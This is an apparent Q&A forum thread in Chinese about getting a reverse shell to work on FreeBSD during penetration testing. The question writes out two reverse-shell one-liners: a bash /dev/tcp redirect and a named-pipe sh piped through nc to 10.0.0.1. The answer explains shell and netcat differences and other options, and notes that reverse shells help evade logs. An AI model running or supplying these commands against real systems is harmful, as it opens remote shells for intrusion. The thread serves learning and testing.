最近在尝试渗透测试,需要使用反向shell技术进行测试,之前在Ubuntu上使用过反向shell,命令如下:
/bin/bash -i >& /dev/tcp/<Listener IP>/9090 0>&1
现在,我想在 FreeBSD 系统上实现相同的操作以进行测试。
我找到了这个网站Reverse Shell Cheatsheet,看到了以下命令:
rm -f /tmp/f; mknod /tmp/f p; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.0.0.1 4242 > /tmp/f
但是,当我尝试实现它时,我遇到了“模糊的输出重定向”错误。最初,使用nc <Listener IP> 9090
成功。因此,我正在寻求帮助来解决这个问题。谢谢!
你混淆了术语,但更重要的是:二进制。
您在评论中表示您了解 shell 之间的差异。但重要的是要了解存在不同的实现(二进制文件)。这也适用于您使用的所有命令行实用程序。这就是为什么反向 shell 备忘单有这么多选项,以便您可以使用系统上已安装的工具。
在 FreeBSD 上,默认的sh shell 是Almquist shell。在 Linux 上,这取决于您的发行版。您可以阅读sh 和 Bash 之间的区别以及Linux 上shell之间的区别是什么?
ash
sh
更重要的是,
/dev
Linux 和 FreeBSD 之间的文件系统并非 100% 1:1。但您使用的重定向/dev/tcp
甚至没有通过文件系统,因为这/dev/tcp
是一种 bashism,并且仅在 中实现bash
。请参阅使用 /dev/tcp/host/port 命令的不同方法以及在哪里可以找到此手册页因此,如果您可以使用
/dev/tcp
,sh
那么您很可能正在使用bash
模式sh
。然后,您可以尝试使用 netcat。但请注意,这里也有不同的实现。FreeBSD 有一个默认的netcat,但您可能更喜欢安装Linux 上常用的GNU netcat 。然后,您可以使用熟悉的工具。
FreeBSD 也默认附带了
mkfifo
您mknod
尝试使用但却无法记录其失败原因的文档。在 FreeBSD 上,Perl 通常默认安装,因此如果您无法安装其他工具,这也是一种常见方法。请记住,“反向 shell”只是尝试使用机器上已有的工具设置到命令行的 TCP 连接。这样做主要是为了避免常见的日志。如果您不关心大多数机器都在使用 SSH,那么使用参数运行 SSH 反向隧道就很简单了
-R
。